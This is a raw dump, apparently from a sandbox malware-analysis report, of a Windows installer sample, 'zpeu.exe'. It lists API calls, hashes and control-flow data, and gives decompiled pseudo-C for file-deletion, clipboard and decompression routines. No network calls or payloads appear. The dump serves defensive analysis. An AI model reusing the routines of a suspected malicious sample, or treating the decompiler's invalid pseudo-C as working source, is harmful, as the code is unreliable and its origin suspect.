                                      0x00405426
                                      0x00405429
                                      0x0040542c
                                      0x0040542d
                                      0x0040542e
                                      0x00405447
                                      0x0040544a
                                      0x00405454
                                      0x00405463
                                      0x0040546b
                                      0x00405473
                                      0x00405478
                                      0x0040547b
                                      0x00405487
                                      0x00405490
                                      0x00405499
                                      0x004054bb
                                      0x004054c1
                                      0x004054d2
                                      0x004054d7
                                      0x004054e5
                                      0x004054f3
                                      0x004054f3
                                      0x004054f8
                                      0x00405506
                                      0x00405506
                                      0x0040550b
                                      0x0040550e
                                      0x00405513
                                      0x0040551f
                                      0x00405528
                                      0x00405535
                                      0x00405544
                                      0x00405537
                                      0x0040553c
                                      0x0040553c
                                      0x00405550
                                      0x00405550
                                      0x00405564
                                      0x0040556d
                                      0x00405576
                                      0x00405586
                                      0x00405592
                                      0x00405592
                                      0x00000000

                                      APIs
                                      • GetDlgItem.USER32(?,00000403), ref: 0040544D
                                      • GetDlgItem.USER32(?,000003EE), ref: 0040545C
                                      • GetClientRect.USER32(?,?), ref: 00405499
                                      • GetSystemMetrics.USER32(00000002), ref: 004054A0
                                      • SendMessageW.USER32(?,00001061,00000000,?), ref: 004054C1
                                      • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004054D2
                                      • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004054E5
                                      • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004054F3
                                      • SendMessageW.USER32(?,00001024,00000000,?), ref: 00405506
                                      • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405528
                                      • ShowWindow.USER32(?,00000008), ref: 0040553C
                                      • GetDlgItem.USER32(?,000003EC), ref: 0040555D
                                      • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040556D
                                      • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405586
                                      • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405592
                                      • GetDlgItem.USER32(?,000003F8), ref: 0040546B
                                        • Part of subcall function 00404216: SendMessageW.USER32(00000028,?,00000001,00404041), ref: 00404224
                                      • GetDlgItem.USER32(?,000003EC), ref: 004055AF
                                      • CreateThread.KERNEL32(00000000,00000000,Function_00005383,00000000), ref: 004055BD
                                      • CloseHandle.KERNELBASE(00000000), ref: 004055C4
                                      • ShowWindow.USER32(00000000), ref: 004055E8
                                      • ShowWindow.USER32(?,00000008), ref: 004055ED
                                      • ShowWindow.USER32(00000008), ref: 00405637
                                      • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566B
                                      • CreatePopupMenu.USER32 ref: 0040567C
                                      • AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405690
                                      • GetWindowRect.USER32(?,?), ref: 004056B0
                                      • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004056C9
                                      • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405701
                                      • OpenClipboard.USER32(00000000), ref: 00405711
                                      • EmptyClipboard.USER32 ref: 00405717
                                      • GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405723
                                      • GlobalLock.KERNEL32(00000000), ref: 0040572D
                                      • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405741
                                      • GlobalUnlock.KERNEL32(00000000), ref: 00405761
                                      • SetClipboardData.USER32(0000000D,00000000), ref: 0040576C
                                      • CloseClipboard.USER32 ref: 00405772
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                      • String ID: {$6B
                                      • API String ID: 590372296-3705917127
                                      • Opcode ID: bafaae828d30907193abfb7d0b2ebba1375cd8af34f5706ff9aabcfc974c4f7c
                                      • Instruction ID: d3ec127817543c8dcb48433ae4040966c093085d210dffb8a3526856162b3191
                                      • Opcode Fuzzy Hash: bafaae828d30907193abfb7d0b2ebba1375cd8af34f5706ff9aabcfc974c4f7c
                                      • Instruction Fuzzy Hash: B1B14A70900609FFDB119FA1DD89AAE7B79FB44354F00403AFA45B61A0CB754E52DF68
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 499 40595a-405980 call 405c25 502 405982-405994 DeleteFileW 499->502 503 405999-4059a0 499->503 504 405b16-405b1a 502->504 505 4059a2-4059a4 503->505 506 4059b3-4059c3 call 40624c 503->506 507 405ac4-405ac9 505->507 508 4059aa-4059ad 505->508 512 4059d2-4059d3 call 405b69 506->512 513 4059c5-4059d0 lstrcatW 506->513 507->504 511 405acb-405ace 507->511 508->506 508->507 514 405ad0-405ad6 511->514 515 405ad8-405ae0 call 40658f 511->515 517 4059d8-4059dc 512->517 513->517 514->504 515->504 523 405ae2-405af6 call 405b1d call 405912 515->523 520 4059e8-4059ee lstrcatW 517->520 521 4059de-4059e6 517->521 522 4059f3-405a0f lstrlenW FindFirstFileW 520->522 521->520 521->522 524 405a15-405a1d 522->524 525 405ab9-405abd 522->525 539 405af8-405afb 523->539 540 405b0e-405b11 call 4052b0 523->540 527 405a3d-405a51 call 40624c 524->527 528 405a1f-405a27 524->528 525->507 530 405abf 525->530 541 405a53-405a5b 527->541 542 405a68-405a73 call 405912 527->542 531 405a29-405a31 528->531 532 405a9c-405aac FindNextFileW 528->532 530->507 531->527 535 405a33-405a3b 531->535 532->524 538 405ab2-405ab3 FindClose 532->538 535->527 535->532 538->525 539->514 543 405afd-405b0c call 4052b0 call 406012 539->543 540->504 541->532 544 405a5d-405a66 call 40595a 541->544 552 405a94-405a97 call 4052b0 542->552 553 405a75-405a78 542->553 543->504 544->532 552->532 554 405a7a-405a8a call 4052b0 call 406012 553->554 555 405a8c-405a92 553->555 554->532 555->532
                                      C-Code - Quality: 98%
                                      			E0040595A(void* __eflags, signed int _a4, signed int _a8) {
                                      				signed int _v8;
                                      				signed int _v12;
                                      				short _v556;
                                      				short _v558;
                                      				struct _WIN32_FIND_DATAW _v604;
                                      				signed int _t38;
                                      				signed int _t52;
                                      				signed int _t55;
                                      				signed int _t62;
                                      				void* _t64;
                                      				signed char _t65;
                                      				WCHAR* _t66;
                                      				void* _t67;
                                      				WCHAR* _t68;
                                      				void* _t70;
                                      
                                      				_t65 = _a8;
                                      				_t68 = _a4;
                                      				_v8 = _t65 & 0x00000004;
                                      				_t38 = E00405C25(__eflags, _t68);
                                      				_v12 = _t38;
                                      				if((_t65 & 0x00000008) != 0) {
                                      					_t62 = DeleteFileW(_t68); // executed
                                      					asm("sbb eax, eax");
                                      					_t64 =  ~_t62 + 1;
                                      					 *0x42a2a8 =  *0x42a2a8 + _t64;
                                      					return _t64;
                                      				}
                                      				_a4 = _t65;
                                      				_t8 =  &_a4;
                                      				 *_t8 = _a4 & 0x00000001;
                                      				__eflags =  *_t8;
                                      				if( *_t8 == 0) {
                                      					L5:
                                      					E0040624C(0x4256f0, _t68);
                                      					__eflags = _a4;
                                      					if(_a4 == 0) {
                                      						E00405B69(_t68);
                                      					} else {
                                      						lstrcatW(0x4256f0, L"\\*.*");
                                      					}
                                      					__eflags =  *_t68;
                                      					if( *_t68 != 0) {
                                      						L10:
                                      						lstrcatW(_t68, 0x40a014);
                                      						L11:
                                      						_t66 =  &(_t68[lstrlenW(_t68)]);
                                      						_t38 = FindFirstFileW(0x4256f0,  &_v604); // executed
                                      						_t70 = _t38;
                                      						__eflags = _t70 - 0xffffffff;
                                      						if(_t70 == 0xffffffff) {
                                      							L26:
                                      							__eflags = _a4;
                                      							if(_a4 != 0) {
                                      								_t30 = _t66 - 2;
                                      								 *_t30 =  *(_t66 - 2) & 0x00000000;
                                      								__eflags =  *_t30;
                                      							}
                                      							goto L28;
                                      						} else {
                                      							goto L12;
                                      						}
                                      						do {
                                      							L12:
                                      							__eflags = _v604.cFileName - 0x2e;
                                      							if(_v604.cFileName != 0x2e) {
                                      								L16:
                                      								E0040624C(_t66,  &(_v604.cFileName));
                                      								__eflags = _v604.dwFileAttributes & 0x00000010;
                                      								if(__eflags == 0) {
                                      									_t52 = E00405912(__eflags, _t68, _v8);
                                      									__eflags = _t52;
                                      									if(_t52 != 0) {
                                      										E004052B0(0xfffffff2, _t68);
                                      									} else {
                                      										__eflags = _v8 - _t52;
                                      										if(_v8 == _t52) {
                                      											 *0x42a2a8 =  *0x42a2a8 + 1;
                                      										} else {
                                      											E004052B0(0xfffffff1, _t68);
                                      											E00406012(_t67, _t68, 0);
                                      										}
                                      									}
                                      								} else {
                                      									__eflags = (_a8 & 0x00000003) - 3;
                                      									if(__eflags == 0) {
                                      										E0040595A(__eflags, _t68, _a8);
                                      									}
                                      								}
                                      								goto L24;
                                      							}
                                      							__eflags = _v558;
                                      							if(_v558 == 0) {
                                      								goto L24;
                                      							}
                                      							__eflags = _v558 - 0x2e;
                                      							if(_v558 != 0x2e) {
                                      								goto L16;
                                      							}
                                      							__eflags = _v556;
                                      							if(_v556 == 0) {
                                      								goto L24;
                                      							}
                                      							goto L16;
                                      							L24:
                                      							_t55 = FindNextFileW(_t70,  &_v604);
                                      							__eflags = _t55;
                                      						} while (_t55 != 0);
                                      						_t38 = FindClose(_t70);
                                      						goto L26;
                                      					}
                                      					__eflags =  *0x4256f0 - 0x5c;
                                      					if( *0x4256f0 != 0x5c) {
                                      						goto L11;
                                      					}
                                      					goto L10;
                                      				} else {
                                      					__eflags = _t38;
                                      					if(_t38 == 0) {
                                      						L28:
                                      						__eflags = _a4;
                                      						if(_a4 == 0) {
                                      							L36:
                                      							return _t38;
                                      						}
                                      						__eflags = _v12;
                                      						if(_v12 != 0) {
                                      							_t38 = E0040658F(_t68);
                                      							__eflags = _t38;
                                      							if(_t38 == 0) {
                                      								goto L36;
                                      							}
                                      							E00405B1D(_t68);
                                      							_t38 = E00405912(__eflags, _t68, _v8 | 0x00000001);
                                      							__eflags = _t38;
                                      							if(_t38 != 0) {
                                      								return E004052B0(0xffffffe5, _t68);
                                      							}
                                      							__eflags = _v8;
                                      							if(_v8 == 0) {
                                      								goto L30;
                                      							}
                                      							E004052B0(0xfffffff1, _t68);
                                      							return E00406012(_t67, _t68, 0);
                                      						}
                                      						L30:
                                      						 *0x42a2a8 =  *0x42a2a8 + 1;
                                      						return _t38;
                                      					}
                                      					__eflags = _t65 & 0x00000002;
                                      					if((_t65 & 0x00000002) == 0) {
                                      						goto L28;
                                      					}
                                      					goto L5;
                                      				}
                                      			}


















                                      0x00405964
                                      0x00405969
                                      0x00405972
                                      0x00405975
                                      0x0040597d
                                      0x00405980
                                      0x00405983
                                      0x0040598b
                                      0x0040598d
                                      0x0040598e
                                      0x00000000
                                      0x0040598e
                                      0x00405999
                                      0x0040599c
                                      0x0040599c
                                      0x0040599c
                                      0x004059a0
                                      0x004059b3
                                      0x004059ba
                                      0x004059bf
                                      0x004059c3
                                      0x004059d3
                                      0x004059c5
                                      0x004059cb
                                      0x004059cb
                                      0x004059d8
                                      0x004059dc
                                      0x004059e8
                                      0x004059ee
                                      0x004059f3
                                      0x004059f9
                                      0x00405a04
                                      0x00405a0a
                                      0x00405a0c
                                      0x00405a0f
                                      0x00405ab9
                                      0x00405ab9
                                      0x00405abd
                                      0x00405abf
                                      0x00405abf
                                      0x00405abf
                                      0x00405abf
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00405a15
                                      0x00405a15
                                      0x00405a15
                                      0x00405a1d
                                      0x00405a3d
                                      0x00405a45
                                      0x00405a4a
                                      0x00405a51
                                      0x00405a6c
                                      0x00405a71
                                      0x00405a73
                                      0x00405a97
                                      0x00405a75
                                      0x00405a75
                                      0x00405a78
                                      0x00405a8c
                                      0x00405a7a
                                      0x00405a7d
                                      0x00405a85
                                      0x00405a85
                                      0x00405a78
                                      0x00405a53
                                      0x00405a59
                                      0x00405a5b
                                      0x00405a61
                                      0x00405a61
                                      0x00405a5b
                                      0x00000000
                                      0x00405a51
                                      0x00405a1f
                                      0x00405a27
                                      0x00000000
                                      0x00000000
                                      0x00405a29
                                      0x00405a31
                                      0x00000000
                                      0x00000000
                                      0x00405a33
                                      0x00405a3b
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00405a9c
                                      0x00405aa4
                                      0x00405aaa
                                      0x00405aaa
                                      0x00405ab3
                                      0x00000000
                                      0x00405ab3
                                      0x004059de
                                      0x004059e6
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x004059a2
                                      0x004059a2
                                      0x004059a4
                                      0x00405ac4
                                      0x00405ac6
                                      0x00405ac9
                                      0x00405b1a
                                      0x00405b1a
                                      0x00405b1a
                                      0x00405acb
                                      0x00405ace
                                      0x00405ad9
                                      0x00405ade
                                      0x00405ae0
                                      0x00000000
                                      0x00000000
                                      0x00405ae3
                                      0x00405aef
                                      0x00405af4
                                      0x00405af6
                                      0x00000000
                                      0x00405b11
                                      0x00405af8
                                      0x00405afb
                                      0x00000000
                                      0x00000000
                                      0x00405b00
                                      0x00000000
                                      0x00405b07
                                      0x00405ad0
                                      0x00405ad0
                                      0x00000000
                                      0x00405ad0
                                      0x004059aa
                                      0x004059ad
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x004059ad

                                      APIs
                                      • DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,77033420,00000000), ref: 00405983
                                      • lstrcatW.KERNEL32(Unthinkingly\lagerbeholdnings\Bureauchef\Smaaskndt.Cri,\*.*), ref: 004059CB
                                      • lstrcatW.KERNEL32(?,0040A014), ref: 004059EE
                                      • lstrlenW.KERNEL32(?,?,0040A014,?,Unthinkingly\lagerbeholdnings\Bureauchef\Smaaskndt.Cri,?,?,C:\Users\user\AppData\Local\Temp\,77033420,00000000), ref: 004059F4
                                      • FindFirstFileW.KERNELBASE(Unthinkingly\lagerbeholdnings\Bureauchef\Smaaskndt.Cri,?,?,?,0040A014,?,Unthinkingly\lagerbeholdnings\Bureauchef\Smaaskndt.Cri,?,?,C:\Users\user\AppData\Local\Temp\,77033420,00000000), ref: 00405A04
                                      • FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AA4
                                      • FindClose.KERNEL32(00000000), ref: 00405AB3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                      • String ID: "C:\Users\user\Desktop\zpeu.exe"$C:\Users\user\AppData\Local\Temp\$Unthinkingly\lagerbeholdnings\Bureauchef\Smaaskndt.Cri$\*.*
                                      • API String ID: 2035342205-604205342
                                      • Opcode ID: cef271d36a4cb6b758dae5d81120ae6a1160f274867ba4d7352c158524ee07bb
                                      • Instruction ID: a8a76f5088e9b8e84a0c744efebc89a786f36fdc765849bba2b15b9d7042df22
                                      • Opcode Fuzzy Hash: cef271d36a4cb6b758dae5d81120ae6a1160f274867ba4d7352c158524ee07bb
                                      • Instruction Fuzzy Hash: BA41E230A01A14AACB21BB658C89ABF7778EF81764F50427FF801711D1D77C5982DEAE
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0040658F(WCHAR* _a4) {
                                      				void* _t2;
                                      
                                      				_t2 = FindFirstFileW(_a4, 0x426738); // executed
                                      				if(_t2 == 0xffffffff) {
                                      					return 0;
                                      				}
                                      				FindClose(_t2);
                                      				return 0x426738;
                                      			}




                                      0x0040659a
                                      0x004065a3
                                      0x00000000
                                      0x004065b0
                                      0x004065a6
                                      0x00000000

                                      APIs
                                      • FindFirstFileW.KERNELBASE(?,00426738,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,00405C6E,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,?,?,77033420,0040597A,?,C:\Users\user\AppData\Local\Temp\,77033420), ref: 0040659A
                                      • FindClose.KERNEL32(00000000), ref: 004065A6
                                      Strings
                                      • C:\Users\user\AppData\Local\Temp\nsx575C.tmp, xrefs: 0040658F
                                      • 8gB, xrefs: 00406590
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Find$CloseFileFirst
                                      • String ID: 8gB$C:\Users\user\AppData\Local\Temp\nsx575C.tmp
                                      • API String ID: 2295610775-2594371637
                                      • Opcode ID: 10d21b2891892a60ec94b320bc5d87934ec883ac9a5b90ef038b3d3a92de116a
                                      • Instruction ID: 94cc43f68e1cdd1d7b1eae1ec77a84073341a0d38183f0b632eac2f66d480838
                                      • Opcode Fuzzy Hash: 10d21b2891892a60ec94b320bc5d87934ec883ac9a5b90ef038b3d3a92de116a
                                      • Instruction Fuzzy Hash: 5DD01231509020ABC20157387D0C85BBA5C9F55331B129A37B466F52E4D7348C6286AC
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 98%
                                      			E00406956() {
                                      				unsigned short _t531;
                                      				signed int _t532;
                                      				void _t533;
                                      				void* _t534;
                                      				signed int _t535;
                                      				signed int _t565;
                                      				signed int _t568;
                                      				signed int _t590;
                                      				signed int* _t607;
                                      				void* _t614;
                                      
                                      				L0:
                                      				while(1) {
                                      					L0:
                                      					if( *(_t614 - 0x40) != 0) {
                                      						 *(_t614 - 0x34) = 1;
                                      						 *(_t614 - 0x84) = 7;
                                      						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
                                      						L132:
                                      						 *(_t614 - 0x54) = _t607;
                                      						L133:
                                      						_t531 =  *_t607;
                                      						_t590 = _t531 & 0x0000ffff;
                                      						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
                                      						if( *(_t614 - 0xc) >= _t565) {
                                      							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
                                      							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
                                      							 *(_t614 - 0x40) = 1;
                                      							_t532 = _t531 - (_t531 >> 5);
                                      							 *_t607 = _t532;
                                      						} else {
                                      							 *(_t614 - 0x10) = _t565;
                                      							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
                                      							 *_t607 = (0x800 - _t590 >> 5) + _t531;
                                      						}
                                      						if( *(_t614 - 0x10) >= 0x1000000) {
                                      							L139:
                                      							_t533 =  *(_t614 - 0x84);
                                      							L140:
                                      							 *(_t614 - 0x88) = _t533;
                                      							goto L1;
                                      						} else {
                                      							L137:
                                      							if( *(_t614 - 0x6c) == 0) {
                                      								 *(_t614 - 0x88) = 5;
                                      								goto L170;
                                      							}
                                      							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
                                      							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                      							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                      							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
                                      							goto L139;
                                      						}
                                      					} else {
                                      						__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                      						__esi =  *(__ebp - 0x60);
                                      						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                      						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                      						__ecx =  *(__ebp - 0x3c);
                                      						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                      						__ecx =  *(__ebp - 4);
                                      						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                      						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                      						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      						if( *(__ebp - 0x38) >= 4) {
                                      							if( *(__ebp - 0x38) >= 0xa) {
                                      								_t97 = __ebp - 0x38;
                                      								 *_t97 =  *(__ebp - 0x38) - 6;
                                      							} else {
                                      								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                      							}
                                      						} else {
                                      							 *(__ebp - 0x38) = 0;
                                      						}
                                      						if( *(__ebp - 0x34) == __edx) {
                                      							__ebx = 0;
                                      							__ebx = 1;
                                      							L60:
                                      							__eax =  *(__ebp - 0x58);
                                      							__edx = __ebx + __ebx;
                                      							__ecx =  *(__ebp - 0x10);
                                      							__esi = __edx + __eax;
                                      							__ecx =  *(__ebp - 0x10) >> 0xb;
                                      							__ax =  *__esi;
                                      							 *(__ebp - 0x54) = __esi;
                                      							__edi = __ax & 0x0000ffff;
                                      							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      							if( *(__ebp - 0xc) >= __ecx) {
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      								__cx = __ax;
                                      								_t216 = __edx + 1; // 0x1
                                      								__ebx = _t216;
                                      								__cx = __ax >> 5;
                                      								 *__esi = __ax;
                                      							} else {
                                      								 *(__ebp - 0x10) = __ecx;
                                      								0x800 = 0x800 - __edi;
                                      								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      								__ebx = __ebx + __ebx;
                                      								 *__esi = __cx;
                                      							}
                                      							 *(__ebp - 0x44) = __ebx;
                                      							if( *(__ebp - 0x10) >= 0x1000000) {
                                      								L59:
                                      								if(__ebx >= 0x100) {
                                      									goto L54;
                                      								}
                                      								goto L60;
                                      							} else {
                                      								L57:
                                      								if( *(__ebp - 0x6c) == 0) {
                                      									 *(__ebp - 0x88) = 0xf;
                                      									goto L170;
                                      								}
                                      								__ecx =  *(__ebp - 0x70);
                                      								__eax =  *(__ebp - 0xc);
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      								_t202 = __ebp - 0x70;
                                      								 *_t202 =  *(__ebp - 0x70) + 1;
                                      								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      								goto L59;
                                      							}
                                      						} else {
                                      							__eax =  *(__ebp - 0x14);
                                      							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      							if(__eax >=  *(__ebp - 0x74)) {
                                      								__eax = __eax +  *(__ebp - 0x74);
                                      							}
                                      							__ecx =  *(__ebp - 8);
                                      							__ebx = 0;
                                      							__ebx = 1;
                                      							__al =  *((intOrPtr*)(__eax + __ecx));
                                      							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                      							L40:
                                      							__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                      							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                      							__ecx =  *(__ebp - 0x58);
                                      							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                      							 *(__ebp - 0x48) = __eax;
                                      							__eax = __eax + 1;
                                      							__eax = __eax << 8;
                                      							__eax = __eax + __ebx;
                                      							__esi =  *(__ebp - 0x58) + __eax * 2;
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      							__ax =  *__esi;
                                      							 *(__ebp - 0x54) = __esi;
                                      							__edx = __ax & 0x0000ffff;
                                      							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                      							if( *(__ebp - 0xc) >= __ecx) {
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      								__cx = __ax;
